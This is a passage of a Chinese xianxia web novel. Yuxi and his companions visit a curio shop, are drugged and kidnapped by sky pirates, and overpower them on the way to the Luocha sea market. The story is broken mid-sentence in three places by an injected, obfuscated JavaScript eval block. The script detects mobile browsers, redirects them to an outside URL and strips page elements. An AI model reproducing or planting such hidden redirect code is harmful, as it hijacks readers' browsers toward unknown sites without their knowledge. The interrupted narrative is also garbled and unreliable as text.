“云师兄,可否带我去你说的那个芳草堂看看?” 云方仪正坐在床榻边擦拭他的配剑,闻言一抬头,“现在?可现在天色已晚,此城荒僻,入夜恐有危险。” “能有什么危险,我们三个人呢,除非是那芳草堂入夜便闭店了?” “那倒是不会。”云方仪收好剑站起来,“那便去吧,这儿虽偏僻,可你已随我们下山多日,问天阙找不见你必会派人去寻,若是白日出去买飞艎,未免太招摇。” “嗯。”羽熹点头。 云霄青闻言道:“可真龙降世的消息已经在十四州传开,当日在阴墟动静太大,引来不少其他门派驻地使者,扶幽宗更是知道小六就是显化龙形之人,只需要查一查就知道,小六曾经是跟随公子的人。” 云方仪眉目中有些忧虑,“这正是我所顾虑的,如今我被逐出问天阙,却有三人同行,难保小六不会被人注意到。” “这有何难,我自隐匿气息,改名换姓不就好了。” 羽熹眼珠一转,“就叫我羽熹。” “羽熹。”云方仪将这两个字在口中嚼了嚼,忽然没头没尾道:“其实,无相大人曾经的弟子谢乔,和你有七八分相似,我曾见过他的画像。” “是么。”羽熹凝眉。 他一直觉得奇怪,鄢尘离这样冷心寡情的人,为何会一见面就非要和风小六结为道侣,还如此匆忙一天都等不了。 难道就是因为这个么? “羽熹。”云方仪喊了他一声,“在想什么呢?” “没什么。”羽熹回神:“走吧。” 芳草堂是街上一排铺子唯一亮着灯的,但极其不明显。 店面老旧,门槛的朱漆早已褪色斑驳,没什么特别之处,只在门口挂着一盏风灯,点着半死不活的火苗,勉强告诉别人这儿有扇门。 但内部空间却大,展柜台壁堆满了琳琅器物,有几个散修在挑选东西,见到门口来了三个人带着帷帽的人,暗暗侧目打量。 云方仪自去跟店主询问需要买的东西,羽熹则转了个弯儿,在铺子里逛来逛去。 啪—— 桌案被拍响,惊散了夜间的谧静。 “老板,你他娘的是不是在诓我,我上回从你这儿买的引火符根本就没有用!连个火星子都没看着。” 一个满脸络腮胡的大汉将两张黄符纸拍在案上,引来四座瞩目。 老板正要回云方仪话,斜眼睨了他一眼,便道,“屠老六,跟你说过多少次了,这画符的材料易溶于水,你手汗就不要一直攥着。否则符文花了,效果自然就不好。还有,你再拿这引火符烧山,下次我可不会再卖给你了。” 屠老六立马反驳,“你放屁!我哪儿烧山了?不过是用火来捕猎一些山兽,有何不可!” “哎呀,你捕猎就捕猎,别在那茂林里头引,这城周围草木多,别一把火把一座城都给烧了,非要引,你再在我这买两张唤水符,放了火自己记得灭。” 店主慢吞吞拿出一沓符箓递给他,“呐,我芳草堂开遍十四州,向来童叟无欺,不可能卖你假货的,拿着吧,诚惠一百个中阶碧云石。” 屠老六瞪大眼睛,“怎么比引火符贵这么多?” “你不知道灭火比放火难吗?出了我芳草堂,没有比这更划算的了,拿着吧。” 屠老六摸了摸兜,抽了三张符把灵石拍在桌上,骂骂咧咧走了。 那店主收了灵石又笑呵呵看向云方仪,“这位道友要买小飞艎?我这儿正好有一艘,不过得明日才能给你。” 云方仪不解,“有就卖,没有就不卖,等到明日是为何?” “哎呀您有所不知,我这一艘是前几日从一个散修那儿收来的,破损比较严重,修好还需一些零件,今天要是给了你,那明日十四州便会传我芳草堂拿破烂货欺骗顾客,咱这招牌要是让我给砸了,我可担不起那个罪啊。” 云方仪想着先看看大体合适否,不行就去别的地方看看,若问题不大,再等一日也无不可,“那可否带我去看看?” “没问题,跟我来。” 云霄青本要跟着去,云方仪摇摇头,他便抱着剑,不远不近守着羽熹。 人间的小玩意儿有趣得很,羽熹已经是看花了眼,什么都要碰一碰。 又恰好店主不在,没人盯着他,他便闲不住手,见到新奇的便拿起来把玩。 许多东西不知如何用,不小心给碰岔了,慌里慌张左右看看,见无人发现,便按原样摆回去,若无其事的挪去他处。 途径一个敞开的抽屉时,羽熹返回几步拉开一些,见里边躺着一本比问天阙藏书阁禁区那些老古董还要古旧的本子。 见识过禁区书阁那些魔书的德行,他下意识觉得这书有点东西,便拿出来看。 这是一本博物志,褪色的墨迹标注着“秘卷”二字,羽熹登时来了兴趣。 里头有配图和注解,翻看起来很快,阅至中间时,他翻页的动作突然停住。 “我就说吧,纵使那晶石只有仙界有,凡界地大物博的,还能没有类似的?” 羽熹有些兴奋。 龙魂跳出来问:“什么?” “你们看。”他指着书上画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984406|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的图,“就是这个,噬魂草。” 龙魂仔细看了看那页的记载,有些怀疑,“你确定是一种东西?” “道友可是在找噬魂草?” 羽熹抬头,见是一进门就偷偷在墙角打量他的修士,不知什么时候凑上来了,点点头。 “你知道这东西?” “这噬魂草可是稀罕物,”修士指了指博物志,“书上记载了,这是一种长在北原极寒之狱的异植,身体躯干大多埋在厚厚的冰层之下,只留有一朵花苞在冰面,会吞噬路过活物的灵魂,然后吐出一种汁液,汁液凝固后,就会变成晶莹剔透的晶石,叫雪魄石,雪魄石是极其稀有的天材地宝,对修行极为有益,拿来炼器,也是极品材料。” “长在冰天雪地,是何属性?”羽熹问。 “噬魂草木系,雪魄石乃极水属性。” 这东西听起来和仙界那种晶石很像,必有其共通之处,如此他便得找来试试。 “你说这东西长在北原极寒之狱?”羽熹脑子里回忆修真界地图,北原好像在大陆最北端,但这极寒之狱却没有什么记载。 “是,不过这东西珍贵,曾经有许多人专门结队去极寒之狱寻找,找到便欲将之带回种植,可那东西一离开极寒之狱便死了,于是他们便只取雪魄石。可这噬魂草五百年才吐出指甲盖那么大点的晶石,早就被摘绝迹了,你想要这东西,去那冰天雪地是断然找不到的。” 羽熹指了指身后,“那这芳草堂可有卖的?” 修士大笑,“道友真会开玩笑,芳草堂只卖些小玩意儿罢了,这种等级的灵宝,只有一个地方能买到。” “哪儿?”羽熹凑近他一步。 修士看了看不远处云霄青投来不善的目光,有些讪讪地后退两步,以手挡住半张脸压低声音道:“罗刹海市,浮屠塔。” 嘎吱—— 后门被拉开,店主同云方仪走了出来。 那修士便拱拱手,道一声“告辞”。 羽熹谢过,心道:浮屠塔,和云方仪先前说的一样。 看来他想找到镇剑之物,必须得去这个地方看看了。 他飞快伸手拢了一堆东西抱在怀里,几步跑去柜台,把东西放店主跟前,豪迈道:“老板,这些我都要。” 老板眼睛放光,“好嘞,我给您点点。” “羽熹,你都拿了些什么?”云方仪其实很少来芳草堂,对于里头这些稀奇古怪的玩意儿,也是眼生,光看外形并不知道是拿来做什么的。 “我也不知道,看着挺好玩儿的。”羽熹随手拿起一个,“这个球,好像能放烟花。” 说完他便将之往空中一抛,只见那球登时变换形状,光滑的外壳开出了许多小孔,接着就开始一边旋转一边朝四面八方喷出七彩的花火,绚丽的火星子漫天飞舞,照亮了大堂小半边天。 云霄青抱着手观赏,“这东西还挺有意思。” “这叫满天星,没别的功用,就是好玩儿。”店主立马道:“这个用掉的也要算钱啊!” 云方仪摇头笑了笑。 叮铃铃—— 这时,二楼楼道口传来一道轻微的类似风铃摇动的声音。 店主就跟被招魂了似的,收回嬉皮笑脸的神情,绷紧脸跑两步立在楼梯口,恭恭敬敬弯腰,像是在等待什么贵客。 羽熹好奇望过去。 什么人来了这么紧张? 21. 暗算 二楼木板被重物碾过,发出几不可闻的咯吱声。 羽熹抬头一看,见楼道口有一个坐轮椅的青年男人缓缓出来,锦衣素雅,但遮不住贵气。 男人身后跟着两名剑客,却并不要他们推,而是一只手把在轮椅扶手上的圆球上滚动着,遇到阶梯便停下,碰了碰圆球上某个位置,轮椅底座便伸出八条蜘蛛一样的细腿,轻盈稳健地将人从楼梯上送了下来,触及平地,蜘蛛腿便丝滑地收了回去。 近距离一看,这青年男子气度不凡,即便是腿部有疾只能坐着,也让人不敢轻视他半分。 店主恭敬立在身后,没有半点要直起腰的意思。 男人也并不看他,操纵着轮椅往大门口去。 路过羽熹三人时,他搭在圆球上的手指微微抬起,在三人面前停下来。 男人目光先是在羽熹身上打量一眼,再轻飘飘扫过他身后。 云方仪和他眼神对上,往前两步,半个肩膀挡在羽熹身前,拱手朝那人行了个礼。 那人收回目光点点头,也不作回礼,径直走了。 羽熹跟出去两步,满眼都是羡慕,“他这个轮椅不错,什么地形都能走,芳草堂有卖吗?我也想要。” 云霄青:“……” “他是谁啊,你跟他打招呼他都不理你,这么神气。” 羽熹心想又来了个装的,不过这气场比起鄢尘离还是差了许多。 目送轮椅男人离开后,店主抬起袖子擦了擦汗,走到柜台后,继续点货,“这位大人就是芳草堂的创立人,他近日来东州沿海一带视察,昨日便宿在小店。” “哦。师兄你认识他啊?”羽熹看了云方仪一眼。 云方仪的神情则有些微妙,大梦初醒一般,点了点头,“嗯,他是东州天在水风氏现任宗主,风羲和。父辈有些交情,小时候见过的。” “风羲和?竟然也姓风啊。” 云霄青动了动唇,似乎想要说什么,被云方仪一个动作拦下。 “公子……” 云方仪眸光明灭,朝他小幅度摇摇头。 羽熹无意嘀咕两句,并不在意,指了指那一堆奇巧玩意儿,问:“算好了么老板。” “算好了算好了,统共二十个高阶蓝玉,或者两千个中阶碧云,都行。” “云霄青,结账。”云方仪转头吩咐。 云霄青立马去取腰间的芥子袋,却被羽熹伸手制止,十分阔气,“不必,我有钱。” 他方才见过那屠老六是拿灵石结账,猜测他们修真界应该是将灵石分成不同的等级,可用来修炼,也可用来易物。 虽然并不知道店主说的高阶蓝玉是什么样儿的,但他从鄢尘离那儿拿来的灵石品级必不会差,当即掏了一把拍桌上,“这些够吗?” 他手一收,灵石的光华便自然流露,将店主陡然睁大的眼珠子都照出了精光。 “这……这……”他手欲伸不伸,有所顾忌地看了看云方仪二人,咳嗽一声道:“这太多了,这可是极品白灵璧,一颗就够换一千颗蓝玉了,我这儿店小,一时半会儿也找不开,不然您问问您身后的两位挪点儿小的?” 他连忙把白灵璧推回羽熹手里,羽熹瞅着这几块“小零食”眨眨眼,没想到这玩意儿还挺值钱。 云霄青快速摸出二十颗蓝玉付了钱,几人包上东西便离开了。 巧的是,在他们三人离店后不久,原本在店中看货的几个修士也跟着出去了。 夜晚,客栈伙计送来了热水,吹灭几盏蜡烛,点上安神香,便退出了房间。 羽熹伸了个懒腰盘腿坐在床上,拿出了放灵石的芥子袋,打开细细数了数。 “既要每日投喂肚子里的龙蛋,还要留足数量,万一那雪魄石真的在罗刹海市找到了,价格一定不便宜。” 龙魂问:“你现在有多少了?” “我攒了三日的量,但也只有三百五十颗,每天我至少要吃掉两颗吧,等到了罗刹海市,大概只剩三百颗。” “才这么点,能够么?” “够呛,那雪魄石听起来就很珍贵的样子。早知道那天就不一口气吃完了。” 他平躺在床上,把芥子袋抛来抛去玩儿,随后又摸了摸肚子,忽然想起个问题。 “那‘龙蛋饲养手册’我也没来得及看,我这个孩子要怀多久才生得下来?” “你你你,你说你怎么这么懒,自己怀的孩子自己一点不管,直接就甩手给别人了,连怀孕多久都不知道。” 龙魂恨不得把他拎起来吊打一番,恨铁不成钢,“龙崽成型快,看母体个体差异,成型时间为九至十二个月,时间一到,龙蛋便能脱离孕育者,不再依靠母体获取营养,但要破壳,还需要后期孵化,快慢都有,曾经有过一千年才破壳而出的例子,你可不能马虎。” “还有啊,这凡修界灵气稀薄,比上天界差太远了,你须得尽快找到办法破劫飞升重返仙界,龙蛋自然是在海里头孵化最好,孵化后要在灵泽充沛的洞天福地好好修炼,才能长成壮实威猛的小龙——” 龙魂正激情传授要点,忽然听到一声困意浓浓的哈欠,一看,那小子居然已经一脸安详见周公去了。 “…………” 不知是不是龙魂老在识海骂娘,羽熹这一觉睡得并不好,梦魇极深,醒来时额间蒙了层虚汗。 他瞳孔有片刻失焦,好一会儿才回神,伸手想默默肚子,却发现自己全身被捆成一只“虾”,躺在一间狭小的杂物间里。 “?” 这又是什么情况? 他不是在客栈吗,怎会被绑在此处。 梦还没醒么? 羽熹试着挣了挣,捆着手脚的绳子却越发勒得紧。 “难道是被人暗算了?前辈……前辈?” 他叫了好几声,识海才传来动静,龙魂道:“好像是客栈房间那个香,我们察觉到不对劲的时候,你已经昏死过去,那香似乎有封锁识海的作用,我们怎么叫你你都听不见。” 羽熹调整动作,低头检查身上,没有什么伤口,就是腰间的芥子袋不见了。 “碰上打劫的了?” “或许吧。” “……” 想不到他堂堂龙君,竟然也有被人打劫的一天。 是他大意了,他身揣这么多极品灵石招摇于这种人迹罕至的偏远小城,竟完全没有防备之心,连被谁暗算了都不知道。 不知道云师兄他们有没有发现他不见了。 这时,杂物间门外传来动静,很快门被推开,羽熹躺回去装死,半眯着眼,看见是几个人抬着两个跟他一样被五花大绑的人进来了。 “这次收获不少啊,没想到咱们只是随便找个小地方歇脚,就能遇见这种肥羊,这两个倒是挺警惕的,就是一点儿不禁打,尤其是这个,拿着把剑看着还挺厉害,结果连我三招都接不住。” “多亏了帮主给咱们的香,暂时封住了他们的灵脉,否则动静可就大了。” 把人放下后,为首的那个拍拍袖子,指着地上的人道:“看好了,帮主说,他们要是敢跑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984407|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可杀一个杀鸡儆猴,剩下的还要留着,他们看着不像普通修士,等咱们到了罗刹海市,兴许能卖个好价钱。” 随着门被关上,交谈声也渐渐远去,只是能透过窗上剪影,看到还留着两个人守门。 “云师兄,云师兄。” 羽熹小声喊了两下,慢慢一蜷一伸挪过去,见云方仪二人还没醒,便猛地弓了弓背,用脑袋去撞击云方仪脑袋。 云方仪眉头一动,渐渐睁开眼,看见羽熹,浑身一绷,“小六!你没事吧?我们遭人偷袭了。” “我没事,他们只是抢了灵石。”羽熹召唤出剑意握在手中,“师兄你转过去,我给你把绳子割开。” “没用的,这不是一般的绳子,普通的刀割不开。” “哎呀,你转过去转过去,快点。” 羽熹一点一点挪动身子,和他背对背,用不可不眠剑意找准绳子轻轻一划,那绳子便断了。 “我这也不是什么普通的菜刀。”羽熹转手递给他,“快帮我割开。” 云方仪松了束缚,将那把菜刀接过来握在手中,触碰的一瞬间,便感觉到一股纯粹而强悍的力量直冲神魂。 他眼神有些微微惊愕。 这把菜刀形状的法宝是从少年神识中“抽”出来的,这不是普通修士能做到的。 他和风小六一同长大,知道风小六绝对没有这个能力。 羽熹啊羽熹,你到底是谁? “师兄,你在磨蹭什么,这绳子勒得我手好痛。”羽熹扭头去看他。 “哦。好。”云方仪回过神,立马将他绳子割断,又去将云霄青弄醒。 “我们在客栈遭到了偷袭。”云方仪快速分析,“在他们转移我们的时候,我曾醒过来一次,应该是一伙帮派,我们现在在他们的飞艎上,正在往西飞行,不知道他们要把我们带到哪里。” 云霄青按了按身上的伤口,怒道:“光天化日,竟敢直接绑人,他们什么来路?” 羽熹道:“我刚才听见他们说要去罗刹海市,没杀我们,是想把我们卖掉。” “什么?”云霄青看向羽熹的肚子,“难道他们发现你的身份了?” “那应该不是,如果发现我的身份,还能舍得卖掉?” 云霄青:“……也是。” 羽熹悄悄打量房间四周,窗户都被封死,门口有人守着,便问,“你们可有看清他们有多少人?实力如何?如果我们现在杀出去,你们有把握能赢么?” 云霄青道:“我们当时中了药,灵脉被封,打不过他们,不过看得出跟我们打的那些人修为并不高,若是我灵脉恢复,或可一战。” 云方仪摇头,“不一定,来时我看见,这艘飞艎规格很大,这不是一般散修能买到的,是专供宗门的船,船上人应该不少。且不知何门何派实力如何,贸然攻出去,容易吃亏。” 羽熹道:“这群人见钱眼开,为了这点灵石就能杀人越货,能是什么正经宗门?况且他们能抓住我们,不过是玩阴招搞偷袭,正面迎敌,还不知道谁输谁赢呢,敢不敢试一试?” 云方仪想了想,也赞同他的话,“如果真要去罗刹海市,那尚且还有好几天的行程,他们虽现在没动我们,却难保这几天有什么变数,我们不能坐以待毙,听你的,我们怎么做?” 羽熹暗暗勾唇一笑,他前几天让鄢尘离气得心肝脾肺都疼,想打架他又不肯迎战,这会儿早就手痒痒了想找人撒气。 那双桃花眼勾着,目光跳跃着几分邪气,“他们能玩儿阴的,我们也能。” 22. 海盗 守门的是一胖一瘦两个红衣修士。 两人喝了点酒,这会儿有些困倦,被点来守人又不能睡,一个哈欠嘴巴豁得能生吞人。 “换班的什么时候来啊?” “换班?别指望了,今天帮主高兴,设了宴请船上所有人喝酒,一会儿喝醉了谁还记得咱俩。” 瘦的那个抱着刀靠在门上,耷拉着耳朵望天,“听说里头那个美人儿身上有不少极品白灵璧呢,咱俩是一个影儿也没看见。” “是啊。”胖的忽然扭头,有些贼眉鼠眼,“要不咱再去他们几个身上搜一搜,万一还有剩的呢?” 瘦的眼珠一转,目露精光,“好主意,走。” 两人手刚放门锁上,就听见里头传来动静,有什么东西被砸在门上,发出“砰”的一声,又掉在地上滚了滚。 胖瘦相视一眼,开锁推门。 一进门就被地上一颗品相极好的夜明珠吸引了。 “我说什么来着,还真有!”瘦子猫着腰就去捡,拿在手中翻看,爱不释手地亲了亲。 “这是我的夜明珠,能还我吗。” 冷不丁的,身后传来一少年音,瘦子肩膀哆嗦一下,扭头见三个人都被好好绑着,又挺直了背,朝羽熹走过去,“你的?还藏了什么,都给我拿出来,否则我杀了你。” 胖子道:“跟他费什么话,把他衣服都扒了搜一遍。” 两人一左一右围着羽熹,一把将他捞起来,拽住他衣襟就想动手,猝不及防凑近了一看,那瘦子却乍然愣住。 这是一张他从未见过的美人脸,眉目如画,肌肤胜雪,宛若九重天上跌落的仙人,绝非人间所有。 少年就这样看着他,朱唇微润,嘴角还微微挑起弧度,美艳中带着一股劲儿,抓的人心痒痒。 “亲娘啊,怎么长成这样。”那瘦子登时色心大起,想要轻薄少年。 他闭上眼努起嘴就要亲上去,突然眼前白光一闪,一道厉风贴着他面部扫过去,尚未触动痛觉,就有滚烫的血从脸上滴落下来,一朵朵盛放的花一样落在手心。 他颤抖着手碰了碰,竟发现自己的嘴巴给生生削掉了一块。 “啊啊啊啊啊啊!!!!!!!!” 瘦子发出一声凄厉的尖叫,如同哭嚎的厉鬼。 声音还没落地,躺在地上装死的云方仪和云霄青一左一右突袭。 云霄青一道掌风打得胖子措手不及,灵脉通畅后,胖子显然不是他的对手,三两招便被夺了刀,一个刀背就敲晕过去。 那瘦子下嘴唇被削掉,满手的血,没防住云方仪的偷袭,一个眼花缭乱间,腹部被膝盖猛烈往上一顶。 他感觉五脏六腑都挪了位,紧接着颈后又遭重击,一口老血喷出。 他还算反应快,立马拔出刀反身一击,被云方仪迅速躲开。 羽熹坐在草垛子上观战,关注点尤其在云方仪身上。 虽然修为没了,但他身法却非常利落,这是常年练剑一招一式练出来的,即便是在瘦子这种有些底子的修士面前依旧不落下风。 但是不能再这样继续打下去了。 羽熹眼神一凝,识海中的剑意破空而出,无形无体,在瘦子浑身气脉透穿而过。 打斗声戛然而止,一颗剔透的夜明珠从瘦子身上滚落,哒哒哒跳了几下。 羽熹目光满是嫌弃地看了一眼,直接抬脚跨过了它,不打算要了,“我们走吧。” “嗯。” 云氏两人捡起地上的刀跟出去,听少年道,“师兄,你们二人去甲板上吸引他们注意,我去找你俩的剑。” 说罢三人分头行动。 若是有专门对宗门提供的飞艎,应该内部结构都大差不离。 羽熹凭着经验往里深入,恰好迎面走来两个人,他立马躲起来。 那两人一前一后交流,“锁好了就走吧,这儿不用守。” “你说那芥子袋中都有三百多颗白灵璧,那更高阶一点的芥子扣中,会不会有更多?” “那肯定啊,只是高阶芥子需要花更多的时间打开,反正已经到咱们手里了,急什么,迟早是咱们的。” “不仅是灵石,这次还得了两把好剑,拿到罗刹海市买了也能卖不少钱。” “那么好的剑,帮主怎么不自己用?” “我听说那把剑好像有点来头,叫萤炤,有主的剑,别人也用不了,不卖怕会招来麻烦——谁!” 面前黑暗处,一个少年无声无息走出来。 “你……你怎么跑出来了!快,拿下!” 两人提刀左右夹击,羽熹背着手,往后一仰躲开几步远。 “反应还挺快。”那修士上前两步,对同伴道:“这儿地方狭小打不开,我一个人来。” 话落便疾冲而上。 羽熹指尖一动,两把菜刀就落在手上。 “我说不可不眠,你能不能改改你那爱好,哪怕变成一支枪?菜刀实在有损我形象啊~” 不可不眠震了震以做回应,羽熹一笑,接着两手一扔,剑气贯穿长廊,双刀交错似流星,快到只看见圆弧形的光,那修士便被剑气刺穿,重重倒在地上,前后不过一瞬息。 身后的同伴难以置信地睁大了眼,踉跄两步,转身就往甲板跑,大喊:“来人!快来人!” 羽熹见人跑了,两步上前,一脚踩在剑意上,旋身高抬腿,用脚尖把剑意送出去,锐利的破空声划过回廊,精准击倒。 少年衣袍轻轻翻动,落地无声。 羽熹蹲下身,从修士身上摸出钥匙,一抛一接走过去,打开了那扇被锁住的大门。 这似乎是个宝库,里头东西还挺多,一看就是大门派,跟他见到的那几个修士的行头打扮以及做派完全不匹配。 云方仪的萤炤剑乃天材地宝打造,非主人不可打开,这群盗贼把玩一番觉得没趣,随手扔进宝库。 羽熹一眼就看见了两人的剑,又找了找其他东西,一圈搜下来,并没有发现他的芥子袋。 这种随身物件里边又装着白灵璧,应该被他们放身边了,羽熹转头离开,谁知脚还没迈过门槛,就听身后传来异动。 羽熹警惕地回头,见宝库黑暗的角落,挂着两只灯笼大小血红色的眼珠子,不知道盯了他多久了。 “什么东西?” 地板轰隆隆震了两下,羽熹抬起头,只见一只顶着天花板的巨兽伸出了两条长满倒刺的腿,光影交错处,露出了巨兽狰狞的面,两颗眼珠子无机质的转了几圈,最后向下垂落,冰冷地盯着少年。 …… 甲板上,金石崩裂,刀光剑影。 如云方仪所料,船上人确实很多,时间拖得越长对他们越不利。 “公子,他们人太多了,若是再拖下去,我们恐怕不是对手。” 云方仪捡来的刀“砰”一声断成两截,他用刀柄砸退两人,回身道:“他们招式没有章法,应该是江湖帮派,再拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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下一瞬,那巨型蟛蜞突然挥出锋利的钳子一个横扫,把堆积成山的小蟛蜞全都扫开,发狂似的奔过来。 小蟛蜞吓得四散奔逃,又不敢跑太远,给少年站的位置腾出一大片空地。 只见那少年安然无恙地立在原地,那巨型蟛蜞高高举起的巨钳也轻轻放下,几步横到少年身边,用他长满粗粝长毛的方脸去蹭少年。 少年嫌弃地躲开,“你身上腥味儿太重,走开些!” 那巨型蟛蜞就像被爹妈训斥委屈巴巴的孩子,眼珠垂下,双钳抱头,不情不愿地后退几步。 红螯帮主磨轮被这一幕惊得下巴砸在地上,指尖颤颤巍巍指着羽熹,“你……你对我的大红做了什么!他可是我养了五年的异兽,只听我的命令,平日最喜将人撕碎成条,现在怎么……怎么会变成这个鬼样子!” 羽熹耸耸肩。 他也不知道,反正他玄邕海里的小鱼小虾都喜欢来挨蹭他。 羽熹后退两步,在大红翘起来的小蟹钳上拍了拍,抬手指了一圈周围,轻声命令,“拿下。” 情势骤然逆转,羽熹高高坐在船头,薄云如轻纱一般贴着他身上划过。 他又恢复了慵懒的姿态,好像刚刚忙过一阵儿把他累得不行似的,两条腿悬在空中轻轻晃荡,底下一群小蟛蜞兽拥簇在他周围,伸出钳子无比想碰他的脚尖,但有大蟛蜞兽在旁边盯着,他们根本不敢动手动钳。 羽熹交叠着双腿微微倾身,长发从肩头滑落被风撩起几丝,声音慵懒,“说说吧,这船是怎么来的?” 23. 幻象 这回换磨轮被五花大绑扔在地上,见形势不复从前,只得老实交代。 “我们其实是海盗,途径东海列岛时本来准备登岛看能不能劫点东西,结果碰上两宗门交战,打得昏天黑地。” “我们就赶紧撤退,隐藏在附近海域,准备等他们两败俱伤,再去一网打尽。” “最后等我们登岛,交战已经结束,一方整个宗门被屠,另一方也是元气大伤,我们就上岛搜罗财宝,这飞艎就是搜来的。” “什么宗门?”羽熹问。 “这个我不知道,不过东海群岛有不少避世门派,因为边界和资源问题,斗来斗去很正常。” 羽熹对宗门大战并无兴趣,这是九洲盟的事儿,他对磨轮的目的地很感兴趣,“你们原本是不是打算将我们卖到罗刹海市?” 磨轮一哆嗦,以头抢地连忙求饶,“不敢不敢,早知道三位如此厉害,我哪儿敢造次啊,这飞艎,还有里面的珍宝全都送给三位仙长,求仙长放我们一条生路吧。” 羽熹懒懒往船头一靠,眼皮也不抬,“我这人也不是好杀生之辈,正好我也要去罗刹海市,既然你们打算卖掉我们,那我便把你们也卖掉,如此就扯平了。” 磨轮:“……” 羽熹轻轻一跃落在甲板,伸了个懒腰,打算回房补觉,怀孕后总觉得比从前更容易困乏。 磨轮突然扑上去抱住他的腿求饶,“别啊仙长!大侠!你给我个机会,我们将功补过,大侠有所不知,这个罗刹海十分诡谲,半片海域常年大雾弥漫,很容易迷失在海中,我可以给你们带路!” “哦?”羽熹侧目,“你是东海海盗,罗刹海市在西州海域,你就能找到?” 磨轮一咬牙,“我有办法!若是找不到,你就把我们扔海里喂鱼,我绝无二话!” …… 飞艎过境如流星,一个日夜轮换,已经横跨东州和中州大陆,抵达无上城渡口。 一行人原地休整半日,采买日需,又去芳草堂收了一大堆符箓法器。 羽熹一脸狐疑,“磨轮,你买这么多暗器做什么,想耍什么花招?” 磨轮连忙解释,“大侠有所不知,再过五日,便是浮屠塔一年一次的拍卖大会,届时会放出许多绝迹灵宝,所以这阵子去罗刹海市的人非常多,鱼龙混杂,必须得多准备点东西防身,否则连命怎么丢的都不知道。” “拍卖?”这话说到点子上了,羽熹连忙问:“可知道具体拍卖些什么?” “这个不知,拍卖物名单只会在提前一天晚上公布。但我向你保证,能买到一样都不虚此行。” 磨轮指挥着手下把东西一件件搬上船,云方仪将羽熹拉到一旁,“我一直想问,你去罗刹海市到底要做什么?羽熹,那里很危险。修真界有的是大能为了拍卖会而去,我怕有人发现你的身份。浮屠塔不受九洲盟约束,里面发生什么都不会有人管的。” 羽熹无声一叹,还不是为了还清人情债。 如果没这些事儿,他一定会找一片宽阔的海闭关不出,舒舒服服躺到龙蛋出世。 但他不能告诉云方仪他的目的,按云方仪的性子,必定不会让风小六为他去涉这个险。 但他非得弄到能做曈曚剑镇物的东西不可。 “浮屠塔一听就比芳草堂好玩儿,师兄,你不想去看看么?”他想起什么,又问:“若不去浮屠塔,师兄原本打算下山后去哪里?” “我……” 云方仪其实有打算,只是一直没机会跟羽熹说,见到风羲和那晚后,他本想找个机会问一问羽熹想去何处。 若他想回家,自己便把他送回家再去做自己的事。 云霄青听说过浮屠塔这个地方,知道其中凶险,也跟着磨轮买了许多法器备用。 他插进两人中间,对羽熹说,“公子说要追查血流萤的事,我们得到过消息,这东西在罗刹海市很活跃,所以原本我们就打算去那里。” “师兄怎么不早说,你是怕我跟去?”羽熹一拍手,“那现在正好,你查你的血流萤,我就去拍卖会喝喝小酒,见见世面。” 趁着众人都在采买搬运,羽熹偷闲溜走,转身去了酒楼,见大堂上有人坐堂说书,来了兴致,要了些酒菜坐下。 说书的一拍醒木,起势大喝一声,“修真界天纵奇才谢小乔为何自甘堕落,背弃宗门残害同族,这当中有何不为人道的密辛,他又是如何走上这条不归路,且听今日细细分解。” 满堂喝彩,羽熹微微侧耳。 谢小乔莫不是他知道的那个谢乔? “说那问地阙弟子谢小乔,因天纵奇才,被妖王看上,非要把女儿许配给他,让他入赘妖族,可那谢小乔的师尊对徒弟怀有不能见光的情愫,岂容妖族抢人……” “噗……” 羽熹一口酒没来得及咽,一滴不剩地喷了出去,惊愕地看向楼下那说书的老者。 除他之外,所有人都听得津津有味。 “可那谢小乔早就和小妖王私定了终身,说什么都不肯回师门,师尊因爱生恨,将谢小乔囚禁在一个没有人能找到的地方,日夜折磨。最为敬重的师尊对他藏着如此龌龊的心思,叫他怎么能不恨!” “???”羽熹满头雾水。 果……果真? “小妖王为了救爱人,不惜挑动妖族和人界战乱,最终妖族不敌,全族覆灭,那场战役,简直是生灵涂炭,世人都道,红颜祸水,一切皆因谢小乔而起,谢小乔也因得知爱人已死,欲找仙门复仇。他师尊不得已,只能手刃爱徒,从此恨上妖族,那是见妖就杀,十几年来把自己弄得几欲疯魔……” “……”羽熹已经恢复平静,吃着瓜子喝着酒,不时点头。 疯魔这一说倒是真的。 他老觉得鄢尘离不太对劲,除了装,夜里总要发发疯,不是削山头就是乱掐人。 其他的虽不知真假,听着确实在精彩。 这谢乔还挺有故事。 还是下山好啊。谢乔的名字在问天阙似乎是个禁忌,很难打听,就连藏书阁也无多余记载,空有一个名字。 “几位客官里边儿请!” 楼下小二高声吆喝,羽熹下意识看过去,见几个白衣麒麟纹修士拿着剑,一进门就东张西望,似乎在找什么人。 羽熹倒酒的动作一顿,下山后忘乎所以,他都快忘了这回事儿了。 此处好像是上回自扶幽海登岸后落脚的无上城,而无上城是有州盟驻地的。 他离开问天阙这么些日子,鄢尘离定会发现,难保不会向十四州州盟发搜捕令抓他。 